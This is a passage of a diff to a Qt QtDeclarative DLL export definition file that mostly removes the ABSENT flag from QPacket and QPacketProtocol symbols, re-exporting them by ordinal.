    -	??1QPacket@@UAE@XZ @ 128 NONAME ABSENT ; QPacket::~QPacket(void)
    +	??1QPacket@@UAE@XZ @ 128 NONAME ; QPacket::~QPacket(void)
     	?top@QDeclarativeScaleGrid@@QBEHXZ @ 129 NONAME ABSENT ; int QDeclarativeScaleGrid::top(void) const
     	?setExpression@QDeclarativeExpression@@QAEXABVQString@@@Z @ 130 NONAME ; void QDeclarativeExpression::setExpression(class QString const &)
     	??1QDeclarativeDebugEngineReference@@QAE@XZ @ 131 NONAME ABSENT ; QDeclarativeDebugEngineReference::~QDeclarativeDebugEngineReference(void)
    @@ -252,7 +252,7 @@ EXPORTS
     	??4QDeclarativeDomValueLiteral@@QAEAAV0@ABV0@@Z @ 251 NONAME ABSENT ; class QDeclarativeDomValueLiteral & QDeclarativeDomValueLiteral::operator=(class QDeclarativeDomValueLiteral const &)
     	?setScript@QDeclarativeScriptString@@QAEXABVQString@@@Z @ 252 NONAME ; void QDeclarativeScriptString::setScript(class QString const &)
     	?requestImage@QDeclarativeImageProvider@@UAE?AVQImage@@ABVQString@@PAVQSize@@ABV4@@Z @ 253 NONAME ; class QImage QDeclarativeImageProvider::requestImage(class QString const &, class QSize *, class QSize const &)
    -	?qt_metacast@QPacketProtocol@@UAEPAXPBD@Z @ 254 NONAME ABSENT ; void * QPacketProtocol::qt_metacast(char const *)
    +	?qt_metacast@QPacketProtocol@@UAEPAXPBD@Z @ 254 NONAME ; void * QPacketProtocol::qt_metacast(char const *)
     	?addMetaObject@QMetaObjectBuilder@@QAEXPBUQMetaObject@@V?$QFlags@W4AddMember@QMetaObjectBuilder@@@@@Z @ 255 NONAME ABSENT ; void QMetaObjectBuilder::addMetaObject(struct QMetaObject const *, class QFlags)
     	?trUtf8@QDeclarativeRectangle@@SA?AVQString@@PBD0H@Z @ 256 NONAME ABSENT ; class QString QDeclarativeRectangle::trUtf8(char const *, char const *, int)
     	?qt_metacast@QDeclarativeText@@UAEPAXPBD@Z @ 257 NONAME ABSENT ; void * QDeclarativeText::qt_metacast(char const *)
    @@ -263,7 +263,7 @@ EXPORTS
     	?create@QDeclarativeType@@QBEPAVQObject@@XZ @ 262 NONAME ABSENT ; class QObject * QDeclarativeType::create(void) const
     	?metaObject@QDeclarativeDebugExpressionQuery@@UBEPBUQMetaObject@@XZ @ 263 NONAME ABSENT ; struct QMetaObject const * QDeclarativeDebugExpressionQuery::metaObject(void) const
     	?engine@QDeclarativeView@@QBEPAVQDeclarativeEngine@@XZ @ 264 NONAME ; class QDeclarativeEngine * QDeclarativeView::engine(void) const
    -	?readyRead@QPacketProtocol@@IAEXXZ @ 265 NONAME ABSENT ; void QPacketProtocol::readyRead(void)
    +	?readyRead@QPacketProtocol@@IAEXXZ @ 265 NONAME ; void QPacketProtocol::readyRead(void)
     	?qt_metacall@QDeclarativeValueType@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 266 NONAME ABSENT ; int QDeclarativeValueType::qt_metacall(enum QMetaObject::Call, int, void * *)
     	?propertyType@QDeclarativePropertyPrivate@@QBEHXZ @ 267 NONAME ABSENT ; int QDeclarativePropertyPrivate::propertyType(void) const
     	?inputMethodQuery@QDeclarativeItem@@MBE?AVQVariant@@W4InputMethodQuery@Qt@@@Z @ 268 NONAME ; class QVariant QDeclarativeItem::inputMethodQuery(enum Qt::InputMethodQuery) const
    @@ -310,7 +310,7 @@ EXPORTS
     	?setSmooth@QDeclarativeItem@@QAEX_N@Z @ 309 NONAME ; void QDeclarativeItem::setSmooth(bool)
     	?value@QDeclarativeDebugPropertyReference@@QBE?AVQVariant@@XZ @ 310 NONAME ABSENT ; class QVariant QDeclarativeDebugPropertyReference::value(void) const
     	?resources@QDeclarativeItemPrivate@@QAE?AV?$QDeclarativeListProperty@VQObject@@@@XZ @ 311 NONAME ; class QDeclarativeListProperty QDeclarativeItemPrivate::resources(void)
    -	?clear@QPacketProtocol@@QAEXXZ @ 312 NONAME ABSENT ; void QPacketProtocol::clear(void)
    +	?clear@QPacketProtocol@@QAEXXZ @ 312 NONAME ; void QPacketProtocol::clear(void)
     	?setState@QDeclarativeItemPrivate@@QAEXABVQString@@@Z @ 313 NONAME ; void QDeclarativeItemPrivate::setState(class QString const &)
     	??4QDeclarativeDebugPropertyReference@@QAEAAV0@ABV0@@Z @ 314 NONAME ABSENT ; class QDeclarativeDebugPropertyReference & QDeclarativeDebugPropertyReference::operator=(class QDeclarativeDebugPropertyReference const &)
     	?metaObject@QDeclarativeView@@UBEPBUQMetaObject@@XZ @ 315 NONAME ; struct QMetaObject const * QDeclarativeView::metaObject(void) const
    @@ -377,7 +377,7 @@ EXPORTS
     	?status@QDeclarativeView@@QBE?AW4Status@1@XZ @ 376 NONAME ; enum QDeclarativeView::Status QDeclarativeView::status(void) const
     	??0QDeclarativeEngineDebug@@QAE@PAVQDeclarativeDebugConnection@@PAVQObject@@@Z @ 377 NONAME ABSENT ; QDeclarativeEngineDebug::QDeclarativeEngineDebug(class QDeclarativeDebugConnection *, class QObject *)
     	?create@QDeclarativeComponent@@UAEPAVQObject@@PAVQDeclarativeContext@@@Z @ 378 NONAME ; class QObject * QDeclarativeComponent::create(class QDeclarativeContext *)
    -	??_EQPacket@@UAE@I@Z @ 379 NONAME ABSENT ; QPacket::~QPacket(unsigned int)
    +	??_EQPacket@@UAE@I@Z @ 379 NONAME ; QPacket::~QPacket(unsigned int)
     	?trUtf8@QDeclarativeScaleGrid@@SA?AVQString@@PBD0H@Z @ 380 NONAME ABSENT ; class QString QDeclarativeScaleGrid::trUtf8(char const *, char const *, int)
     	?isResettable@QDeclarativeProperty@@QBE_NXZ @ 381 NONAME ; bool QDeclarativeProperty::isResettable(void) const
     	?isList@QDeclarativeCustomParserProperty@@QBE_NXZ @ 382 NONAME ; bool QDeclarativeCustomParserProperty::isList(void) const
    @@ -428,7 +428,7 @@ EXPORTS
     	?line@QDeclarativeError@@QBEHXZ @ 427 NONAME ; int QDeclarativeError::line(void) const
     	?heightValid@QDeclarativeItem@@IBE_NXZ @ 428 NONAME ; bool QDeclarativeItem::heightValid(void) const
     	??1QDeclarativeOpenMetaObject@@UAE@XZ @ 429 NONAME ABSENT ; QDeclarativeOpenMetaObject::~QDeclarativeOpenMetaObject(void)
    -	??0QPacket@@QAE@XZ @ 430 NONAME ABSENT ; QPacket::QPacket(void)
    +	??0QPacket@@QAE@XZ @ 430 NONAME ; QPacket::QPacket(void)
     	?trUtf8@QDeclarativePropertyMap@@SA?AVQString@@PBD0H@Z @ 431 NONAME ; class QString QDeclarativePropertyMap::trUtf8(char const *, char const *, int)
     	?trUtf8@QDeclarativeEngine@@SA?AVQString@@PBD0H@Z @ 432 NONAME ; class QString QDeclarativeEngine::trUtf8(char const *, char const *, int)
     	??0QDeclarativeDebugEngineReference@@QAE@XZ @ 433 NONAME ABSENT ; QDeclarativeDebugEngineReference::QDeclarativeDebugEngineReference(void)
    @@ -485,7 +485,7 @@ EXPORTS
     	?staticMetaObject@QDeclarativeDebugService@@2UQMetaObject@@B @ 484 NONAME ABSENT ; struct QMetaObject const QDeclarativeDebugService::staticMetaObject
     	?topMargin@QDeclarativeAnchors@@QBEMXZ @ 485 NONAME ABSENT ; float QDeclarativeAnchors::topMargin(void) const
     	??0QDeclarativeDebugExpressionQuery@@AAE@PAVQObject@@@Z @ 486 NONAME ABSENT ; QDeclarativeDebugExpressionQuery::QDeclarativeDebugExpressionQuery(class QObject *)
    -	??0QPacket@@IAE@ABVQByteArray@@@Z @ 487 NONAME ABSENT ; QPacket::QPacket(class QByteArray const &)
    +	??0QPacket@@IAE@ABVQByteArray@@@Z @ 487 NONAME ; QPacket::QPacket(class QByteArray const &)
     	?implicitSize@QDeclarativePixmap@@QBEABVQSize@@XZ @ 488 NONAME ; class QSize const & QDeclarativePixmap::implicitSize(void) const
     	?setFlags@QMetaObjectBuilder@@QAEXV?$QFlags@W4MetaObjectFlag@QMetaObjectBuilder@@@@@Z @ 489 NONAME ABSENT ; void QMetaObjectBuilder::setFlags(class QFlags)
     	?horizontalCenterChanged@QDeclarativeAnchors@@IAEXXZ @ 490 NONAME ABSENT ; void QDeclarativeAnchors::horizontalCenterChanged(void)
    @@ -502,7 +502,7 @@ EXPORTS
     	?qmlAttachedPropertiesObject@@YAPAVQObject@@PAHPBV1@PBUQMetaObject@@_N@Z @ 501 NONAME ; class QObject * qmlAttachedPropertiesObject(int *, class QObject const *, struct QMetaObject const *, bool)
     	??_EQDeclarativeDebugClient@@UAE@I@Z @ 502 NONAME ABSENT ; QDeclarativeDebugClient::~QDeclarativeDebugClient(unsigned int)
     	??4QDeclarativeDomComponent@@QAEAAV0@ABV0@@Z @ 503 NONAME ABSENT ; class QDeclarativeDomComponent & QDeclarativeDomComponent::operator=(class QDeclarativeDomComponent const &)
    -	?tr@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 504 NONAME ABSENT ; class QString QPacketProtocol::tr(char const *, char const *)
    +	?tr@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 504 NONAME ; class QString QPacketProtocol::tr(char const *, char const *)
     	?setFont@QDeclarativeText@@QAEXABVQFont@@@Z @ 505 NONAME ABSENT ; void QDeclarativeText::setFont(class QFont const &)
     	?fromChanged@QDeclarativeTransition@@IAEXXZ @ 506 NONAME ; void QDeclarativeTransition::fromChanged(void)
     	?addMethod@QMetaObjectBuilder@@QAE?AVQMetaMethodBuilder@@ABVQMetaMethod@@@Z @ 507 NONAME ABSENT ; class QMetaMethodBuilder QMetaObjectBuilder::addMethod(class QMetaMethod const &)
    @@ -610,7 +610,7 @@ EXPORTS
     	??0QDeclarativeListReference@@QAE@PAVQObject@@PBDPAVQDeclarativeEngine@@@Z @ 609 NONAME ; QDeclarativeListReference::QDeclarativeListReference(class QObject *, char const *, class QDeclarativeEngine *)
     	?setData@QListModelInterface@@UAE_NHABV?$QHash@HVQVariant@@@@@Z @ 610 NONAME ABSENT ; bool QListModelInterface::setData(int, class QHash const &)
     	??0QDeclarativePen@@QAE@PAVQObject@@@Z @ 611 NONAME ABSENT ; QDeclarativePen::QDeclarativePen(class QObject *)
    -	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 612 NONAME ABSENT ; class QString QPacketProtocol::trUtf8(char const *, char const *, int)
    +	?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 612 NONAME ; class QString QPacketProtocol::trUtf8(char const *, char const *, int)
     	?setContextObject@QDeclarativeContext@@QAEXPAVQObject@@@Z @ 613 NONAME ; void QDeclarativeContext::setContextObject(class QObject *)
     	??_EQDeclarativeState@@UAE@I@Z @ 614 NONAME ; QDeclarativeState::~QDeclarativeState(unsigned int)
     	?expression@QDeclarativeExpression@@QBE?AVQString@@XZ @ 615 NONAME ; class QString QDeclarativeExpression::expression(void) const
    @@ -668,7 +668,7 @@ EXPORTS
     	?setStdCppSet@QMetaPropertyBuilder@@QAEX_N@Z @ 667 NONAME ABSENT ; void QMetaPropertyBuilder::setStdCppSet(bool)
     	??0QDeclarativeItemPrivate@@QAE@XZ @ 668 NONAME ; QDeclarativeItemPrivate::QDeclarativeItemPrivate(void)
     	??0QDeclarativeDebugService@@QAE@ABVQString@@PAVQObject@@@Z @ 669 NONAME ABSENT ; QDeclarativeDebugService::QDeclarativeDebugService(class QString const &, class QObject *)
    -	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@_N@Z @ 670 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, bool)
    +	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@_N@Z @ 670 NONAME ABSENT ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, bool)
     	??_EQPacketAutoSend@@UAE@I@Z @ 671 NONAME ABSENT ; QPacketAutoSend::~QPacketAutoSend(unsigned int)
     	?saveValueType@QDeclarativePropertyPrivate@@SA?AVQByteArray@@PBUQMetaObject@@H0H@Z @ 672 NONAME ABSENT ; class QByteArray QDeclarativePropertyPrivate::saveValueType(struct QMetaObject const *, int, struct QMetaObject const *, int)
     	?resetHeight@QDeclarativeItem@@QAEXXZ @ 673 NONAME ; void QDeclarativeItem::resetHeight(void)
    @@ -688,7 +688,7 @@ EXPORTS
     	?d_func@QDeclarativeDebugClient@@AAEPAVQDeclarativeDebugClientPrivate@@XZ @ 687 NONAME ABSENT ; class QDeclarativeDebugClientPrivate * QDeclarativeDebugClient::d_func(void)
     	??1QDeclarativeType@@AAE@XZ @ 688 NONAME ABSENT ; QDeclarativeType::~QDeclarativeType(void)
     	?colorFromString@QDeclarativeStringConverters@@YA?AVQColor@@ABVQString@@PA_N@Z @ 689 NONAME ABSENT ; class QColor QDeclarativeStringConverters::colorFromString(class QString const &, bool *)
    -	??_EQPacketProtocol@@UAE@I@Z @ 690 NONAME ABSENT ; QPacketProtocol::~QPacketProtocol(unsigned int)
    +	??_EQPacketProtocol@@UAE@I@Z @ 690 NONAME ; QPacketProtocol::~QPacketProtocol(unsigned int)
     	?tr@QDeclarativeListModel@@SA?AVQString@@PBD0@Z @ 691 NONAME ABSENT ; class QString QDeclarativeListModel::tr(char const *, char const *)
     	??0QDeclarativePixmap@@QAE@XZ @ 692 NONAME ; QDeclarativePixmap::QDeclarativePixmap(void)
     	??0QDeclarativeDebugObjectReference@@QAE@XZ @ 693 NONAME ABSENT ; QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(void)
    @@ -704,7 +704,7 @@ EXPORTS
     	??4QDeclarativeDomDocument@@QAEAAV0@ABV0@@Z @ 703 NONAME ABSENT ; class QDeclarativeDomDocument & QDeclarativeDomDocument::operator=(class QDeclarativeDomDocument const &)
     	??0QDeclarativeOpenMetaObject@@QAE@PAVQObject@@PAVQDeclarativeOpenMetaObjectType@@_N@Z @ 704 NONAME ABSENT ; QDeclarativeOpenMetaObject::QDeclarativeOpenMetaObject(class QObject *, class QDeclarativeOpenMetaObjectType *, bool)
     	?trUtf8@QDeclarativeExpression@@SA?AVQString@@PBD0@Z @ 705 NONAME ; class QString QDeclarativeExpression::trUtf8(char const *, char const *)
    -	??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME ABSENT ; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *)
    +	??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *)
     	??1QDeclarativeListReference@@QAE@XZ @ 707 NONAME ; QDeclarativeListReference::~QDeclarativeListReference(void)
     	?clearError@QDeclarativeExpression@@QAEXXZ @ 708 NONAME ; void QDeclarativeExpression::clearError(void)
     	?setLineNumber@QDeclarativeDebugFileReference@@QAEXH@Z @ 709 NONAME ABSENT ; void QDeclarativeDebugFileReference::setLineNumber(int)
    @@ -757,7 +757,7 @@ EXPORTS
     	??4QDeclarativeDomValueBinding@@QAEAAV0@ABV0@@Z @ 756 NONAME ABSENT ; class QDeclarativeDomValueBinding & QDeclarativeDomValueBinding::operator=(class QDeclarativeDomValueBinding const &)
     	??0QDeclarativeExpression@@QAE@XZ @ 757 NONAME ; QDeclarativeExpression::QDeclarativeExpression(void)
     	?paint@QDeclarativeItem@@UAEXPAVQPainter@@PBVQStyleOptionGraphicsItem@@PAVQWidget@@@Z @ 758 NONAME ; void QDeclarativeItem::paint(class QPainter *, class QStyleOptionGraphicsItem const *, class QWidget *)
    -	?send@QPacketProtocol@@QAE?AVQPacketAutoSend@@XZ @ 759 NONAME ABSENT ; class QPacketAutoSend QPacketProtocol::send(void)
    +	?send@QPacketProtocol@@QAE?AVQPacketAutoSend@@XZ @ 759 NONAME ; class QPacketAutoSend QPacketProtocol::send(void)
     	?countChanged@QDeclarativeListModel@@IAEXXZ @ 760 NONAME ABSENT ; void QDeclarativeListModel::countChanged(void)
     	??0QDeclarativeGridScaledImage@@QAE@PAVQIODevice@@@Z @ 761 NONAME ABSENT ; QDeclarativeGridScaledImage::QDeclarativeGridScaledImage(class QIODevice *)
     	??_EQDeclarativeBinding@@UAE@I@Z @ 762 NONAME ABSENT ; QDeclarativeBinding::~QDeclarativeBinding(unsigned int)
    @@ -776,7 +776,7 @@ EXPORTS
     	?hasNotifySignal@QDeclarativeProperty@@QBE_NXZ @ 775 NONAME ; bool QDeclarativeProperty::hasNotifySignal(void) const
     	?create@QDeclarativeType@@QBEXPAPAVQObject@@PAPAXI@Z @ 776 NONAME ABSENT ; void QDeclarativeType::create(class QObject * *, void * *, unsigned int) const
     	?reversible@QDeclarativeTransition@@QBE_NXZ @ 777 NONAME ; bool QDeclarativeTransition::reversible(void) const
    -	?invalidPacket@QPacketProtocol@@IAEXXZ @ 778 NONAME ABSENT ; void QPacketProtocol::invalidPacket(void)
    +	?invalidPacket@QPacketProtocol@@IAEXXZ @ 778 NONAME ; void QPacketProtocol::invalidPacket(void)
     	??0QDeclarativeDebugObjectReference@@QAE@H@Z @ 779 NONAME ABSENT ; QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int)
     	?superClass@QMetaObjectBuilder@@QBEPBUQMetaObject@@XZ @ 780 NONAME ABSENT ; struct QMetaObject const * QMetaObjectBuilder::superClass(void) const
     	?isValid@QDeclarativeListReference@@QBE_NXZ @ 781 NONAME ; bool QDeclarativeListReference::isValid(void) const
    @@ -813,7 +813,7 @@ EXPORTS
     	??_EQDeclarativeDebugQuery@@UAE@I@Z @ 812 NONAME ABSENT ; QDeclarativeDebugQuery::~QDeclarativeDebugQuery(unsigned int)
     	?update@QDeclarativeAbstractBinding@@QAEXXZ @ 813 NONAME ABSENT ; void QDeclarativeAbstractBinding::update(void)
     	?tr@QDeclarativeBehavior@@SA?AVQString@@PBD0H@Z @ 814 NONAME ABSENT ; class QString QDeclarativeBehavior::tr(char const *, char const *, int)
    -	?read@QPacketProtocol@@QAE?AVQPacket@@XZ @ 815 NONAME ABSENT ; class QPacket QPacketProtocol::read(void)
    +	?read@QPacketProtocol@@QAE?AVQPacket@@XZ @ 815 NONAME ; class QPacket QPacketProtocol::read(void)
     	?setParentItem@QDeclarativeItem@@QAEXPAV1@@Z @ 816 NONAME ; void QDeclarativeItem::setParentItem(class QDeclarativeItem *)
     	?qmlAttachedProperties@QDeclarativeComponent@@SAPAVQDeclarativeComponentAttached@@PAVQObject@@@Z @ 817 NONAME ; class QDeclarativeComponentAttached * QDeclarativeComponent::qmlAttachedProperties(class QObject *)
     	??0QDeclarativeView@@QAE@ABVQUrl@@PAVQWidget@@@Z @ 818 NONAME ; QDeclarativeView::QDeclarativeView(class QUrl const &, class QWidget *)
    @@ -821,7 +821,7 @@ EXPORTS
     	??_EQDeclarativeView@@UAE@I@Z @ 820 NONAME ; QDeclarativeView::~QDeclarativeView(unsigned int)
     	?trUtf8@QDeclarativeStateGroup@@SA?AVQString@@PBD0H@Z @ 821 NONAME ; class QString QDeclarativeStateGroup::trUtf8(char const *, char const *, int)
     	?tag@QMetaMethodBuilder@@QBE?AVQByteArray@@XZ @ 822 NONAME ABSENT ; class QByteArray QMetaMethodBuilder::tag(void) const
    -	?getStaticMetaObject@QPacketProtocol@@SAABUQMetaObject@@XZ @ 823 NONAME ABSENT ; struct QMetaObject const & QPacketProtocol::getStaticMetaObject(void)
    +	?getStaticMetaObject@QPacketProtocol@@SAABUQMetaObject@@XZ @ 823 NONAME ; struct QMetaObject const & QPacketProtocol::getStaticMetaObject(void)
     	?setContext@QDeclarativeScriptString@@QAEXPAVQDeclarativeContext@@@Z @ 824 NONAME ; void QDeclarativeScriptString::setContext(class QDeclarativeContext *)
     	?addImageProvider@QDeclarativeEngine@@QAEXABVQString@@PAVQDeclarativeImageProvider@@@Z @ 825 NONAME ; void QDeclarativeEngine::addImageProvider(class QString const &, class QDeclarativeImageProvider *)
     	?d_func@QDeclarativeStateGroup@@ABEPBVQDeclarativeStateGroupPrivate@@XZ @ 826 NONAME ; class QDeclarativeStateGroupPrivate const * QDeclarativeStateGroup::d_func(void) const
    @@ -1013,7 +1013,7 @@ EXPORTS
     	?agent@QDeclarativeListModel@@QAEPAVQDeclarativeListModelWorkerAgent@@XZ @ 1012 NONAME ABSENT ; class QDeclarativeListModelWorkerAgent * QDeclarativeListModel::agent(void)
     	?engine@QDeclarativeExpression@@QBEPAVQDeclarativeEngine@@XZ @ 1013 NONAME ; class QDeclarativeEngine * QDeclarativeExpression::engine(void) const
     	??_EQDeclarativeDebugWatch@@UAE@I@Z @ 1014 NONAME ABSENT ; QDeclarativeDebugWatch::~QDeclarativeDebugWatch(unsigned int)
    -	?isEmpty@QPacket@@QBE_NXZ @ 1015 NONAME ABSENT ; bool QPacket::isEmpty(void) const
    +	?isEmpty@QPacket@@QBE_NXZ @ 1015 NONAME ; bool QPacket::isEmpty(void) const
     	?qmlType@QDeclarativeMetaType@@SAPAVQDeclarativeType@@PBUQMetaObject@@@Z @ 1016 NONAME ABSENT ; class QDeclarativeType * QDeclarativeMetaType::qmlType(struct QMetaObject const *)
     	?setFill@QDeclarativeAnchors@@QAEXPAVQGraphicsObject@@@Z @ 1017 NONAME ABSENT ; void QDeclarativeAnchors::setFill(class QGraphicsObject *)
     	?setHAlign@QDeclarativeText@@QAEXW4HAlignment@1@@Z @ 1018 NONAME ABSENT ; void QDeclarativeText::setHAlign(enum QDeclarativeText::HAlignment)
    @@ -1029,7 +1029,7 @@ EXPORTS
     	?staticMetaObject@QDeclarativeText@@2UQMetaObject@@B @ 1028 NONAME ABSENT ; struct QMetaObject const QDeclarativeText::staticMetaObject
     	?color@QDeclarativeRectangle@@QBE?AVQColor@@XZ @ 1029 NONAME ABSENT ; class QColor QDeclarativeRectangle::color(void) const
     	?isEnabled@QDeclarativeDebugClient@@QBE_NXZ @ 1030 NONAME ABSENT ; bool QDeclarativeDebugClient::isEnabled(void) const
    -	?send@QPacketProtocol@@QAEXABVQPacket@@@Z @ 1031 NONAME ABSENT ; void QPacketProtocol::send(class QPacket const &)
    +	?send@QPacketProtocol@@QAEXABVQPacket@@@Z @ 1031 NONAME ; void QPacketProtocol::send(class QPacket const &)
     	?width@QDeclarativePixmap@@QBEHXZ @ 1032 NONAME ; int QDeclarativePixmap::width(void) const
     	?error@QDeclarativeCustomParser@@IAEXABVQDeclarativeCustomParserNode@@ABVQString@@@Z @ 1033 NONAME ; void QDeclarativeCustomParser::error(class QDeclarativeCustomParserNode const &, class QString const &)
     	?defaultProperty@QDeclarativeMetaType@@SA?AVQMetaProperty@@PBUQMetaObject@@@Z @ 1034 NONAME ABSENT ; class QMetaProperty QDeclarativeMetaType::defaultProperty(struct QMetaObject const *)
    @@ -1043,7 +1043,7 @@ EXPORTS
     	?trUtf8@QDeclarativeAnchors@@SA?AVQString@@PBD0@Z @ 1042 NONAME ABSENT ; class QString QDeclarativeAnchors::trUtf8(char const *, char const *)
     	?getStaticMetaObject@QDeclarativeValueType@@SAABUQMetaObject@@XZ @ 1043 NONAME ABSENT ; struct QMetaObject const & QDeclarativeValueType::getStaticMetaObject(void)
     	?valueChanged@QDeclarativePropertyMap@@IAEXABVQString@@ABVQVariant@@@Z @ 1044 NONAME ; void QDeclarativePropertyMap::valueChanged(class QString const &, class QVariant const &)
    -	?staticMetaObject@QPacketProtocol@@2UQMetaObject@@B @ 1045 NONAME ABSENT ; struct QMetaObject const QPacketProtocol::staticMetaObject
    +	?staticMetaObject@QPacketProtocol@@2UQMetaObject@@B @ 1045 NONAME ; struct QMetaObject const QPacketProtocol::staticMetaObject
     	?tr@QDeclarativeListModel@@SA?AVQString@@PBD0H@Z @ 1046 NONAME ABSENT ; class QString QDeclarativeListModel::tr(char const *, char const *, int)
     	??0QDeclarativeScriptString@@QAE@XZ @ 1047 NONAME ; QDeclarativeScriptString::QDeclarativeScriptString(void)
     	?tr@QListModelInterface@@SA?AVQString@@PBD0@Z @ 1048 NONAME ABSENT ; class QString QListModelInterface::tr(char const *, char const *)
    @@ -1088,7 +1088,7 @@ EXPORTS
     	?resetWidth@QDeclarativeItemPrivate@@UAEXXZ @ 1087 NONAME ; void QDeclarativeItemPrivate::resetWidth(void)
     	??AQDeclarativeOpenMetaObject@@QAEAAVQVariant@@ABVQByteArray@@@Z @ 1088 NONAME ABSENT ; class QVariant & QDeclarativeOpenMetaObject::operator[](class QByteArray const &)
     	?bottom@QDeclarativeItemPrivate@@QBE?AVQDeclarativeAnchorLine@@XZ @ 1089 NONAME ; class QDeclarativeAnchorLine QDeclarativeItemPrivate::bottom(void) const
    -	?device@QPacketProtocol@@QAEPAVQIODevice@@XZ @ 1090 NONAME ABSENT ; class QIODevice * QPacketProtocol::device(void)
    +	?device@QPacketProtocol@@QAEPAVQIODevice@@XZ @ 1090 NONAME ; class QIODevice * QPacketProtocol::device(void)
     	?trUtf8@QDeclarativeStateGroup@@SA?AVQString@@PBD0@Z @ 1091 NONAME ; class QString QDeclarativeStateGroup::trUtf8(char const *, char const *)
     	?variantFromString@QDeclarativeStringConverters@@YA?AVQVariant@@ABVQString@@HPA_N@Z @ 1092 NONAME ABSENT ; class QVariant QDeclarativeStringConverters::variantFromString(class QString const &, int, bool *)
     	?metaObject@QDeclarativeComponent@@UBEPBUQMetaObject@@XZ @ 1093 NONAME ; struct QMetaObject const * QDeclarativeComponent::metaObject(void) const
    @@ -1110,7 +1110,7 @@ EXPORTS
     	??0QDeclarativeDebugFileReference@@QAE@XZ @ 1109 NONAME ABSENT ; QDeclarativeDebugFileReference::QDeclarativeDebugFileReference(void)
     	?mapFromItem@QDeclarativeItem@@QBE?AVQScriptValue@@ABV2@MM@Z @ 1110 NONAME ; class QScriptValue QDeclarativeItem::mapFromItem(class QScriptValue const &, float, float) const
     	?trUtf8@QDeclarativeStateOperation@@SA?AVQString@@PBD0H@Z @ 1111 NONAME ; class QString QDeclarativeStateOperation::trUtf8(char const *, char const *, int)
    -	?tr@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 1112 NONAME ABSENT ; class QString QPacketProtocol::tr(char const *, char const *, int)
    +	?tr@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 1112 NONAME ; class QString QPacketProtocol::tr(char const *, char const *, int)
     	?d_func@QDeclarativeAnchors@@ABEPBVQDeclarativeAnchorsPrivate@@XZ @ 1113 NONAME ABSENT ; class QDeclarativeAnchorsPrivate const * QDeclarativeAnchors::d_func(void) const
     	?setNotifySignal@QMetaPropertyBuilder@@QAEXABVQMetaMethodBuilder@@@Z @ 1114 NONAME ABSENT ; void QMetaPropertyBuilder::setNotifySignal(class QMetaMethodBuilder const &)
     	?enabled@QDeclarativeBehavior@@QBE_NXZ @ 1115 NONAME ABSENT ; bool QDeclarativeBehavior::enabled(void) const
    @@ -1132,7 +1132,7 @@ EXPORTS
     	?noCreationReason@QDeclarativeType@@QBE?AVQString@@XZ @ 1131 NONAME ABSENT ; class QString QDeclarativeType::noCreationReason(void) const
     	?setUrl@QDeclarativeDebugFileReference@@QAEXABVQUrl@@@Z @ 1132 NONAME ABSENT ; void QDeclarativeDebugFileReference::setUrl(class QUrl const &)
     	??1QDeclarativeCustomParserProperty@@QAE@XZ @ 1133 NONAME ; QDeclarativeCustomParserProperty::~QDeclarativeCustomParserProperty(void)
    -	??1QPacketProtocol@@UAE@XZ @ 1134 NONAME ABSENT ; QPacketProtocol::~QPacketProtocol(void)
    +	??1QPacketProtocol@@UAE@XZ @ 1134 NONAME ; QPacketProtocol::~QPacketProtocol(void)
     	??1QDeclarativeAbstractBinding@@MAE@XZ @ 1135 NONAME ABSENT ; QDeclarativeAbstractBinding::~QDeclarativeAbstractBinding(void)
     	?indexOfEnumerator@QMetaObjectBuilder@@QAEHABVQByteArray@@@Z @ 1136 NONAME ABSENT ; int QMetaObjectBuilder::indexOfEnumerator(class QByteArray const &)
     	?qt_metacast@QDeclarativePen@@UAEPAXPBD@Z @ 1137 NONAME ABSENT ; void * QDeclarativePen::qt_metacast(char const *)
    @@ -1222,7 +1222,7 @@ EXPORTS
     	?statusChanged@QDeclarativeComponent@@IAEXW4Status@1@@Z @ 1221 NONAME ; void QDeclarativeComponent::statusChanged(enum QDeclarativeComponent::Status)
     	?setTarget@QDeclarativeBinding@@QAEXABVQDeclarativeProperty@@@Z @ 1222 NONAME ABSENT ; void QDeclarativeBinding::setTarget(class QDeclarativeProperty const &)
     	?imageProvider@QDeclarativeEngine@@QBEPAVQDeclarativeImageProvider@@ABVQString@@@Z @ 1223 NONAME ; class QDeclarativeImageProvider * QDeclarativeEngine::imageProvider(class QString const &) const
    -	?packetsAvailable@QPacketProtocol@@QBE_JXZ @ 1224 NONAME ABSENT ; long long QPacketProtocol::packetsAvailable(void) const
    +	?packetsAvailable@QPacketProtocol@@QBE_JXZ @ 1224 NONAME ; long long QPacketProtocol::packetsAvailable(void) const
     	?state@QDeclarativeDebugWatch@@QBE?AW4State@1@XZ @ 1225 NONAME ABSENT ; enum QDeclarativeDebugWatch::State QDeclarativeDebugWatch::state(void) const
     	?attachedPropertiesFuncById@QDeclarativeMetaType@@SAP6APAVQObject@@PAV2@@ZH@Z @ 1226 NONAME ABSENT ; class QObject * (*)(class QObject *) QDeclarativeMetaType::attachedPropertiesFuncById(int)
     	?resetBaseline@QDeclarativeAnchors@@QAEXXZ @ 1227 NONAME ABSENT ; void QDeclarativeAnchors::resetBaseline(void)
    @@ -1341,7 +1341,7 @@ EXPORTS
     	?implicitWidth@QDeclarativeItem@@QBEMXZ @ 1340 NONAME ; float QDeclarativeItem::implicitWidth(void) const
     	?metaObject@QDeclarativeContext@@UBEPBUQMetaObject@@XZ @ 1341 NONAME ; struct QMetaObject const * QDeclarativeContext::metaObject(void) const
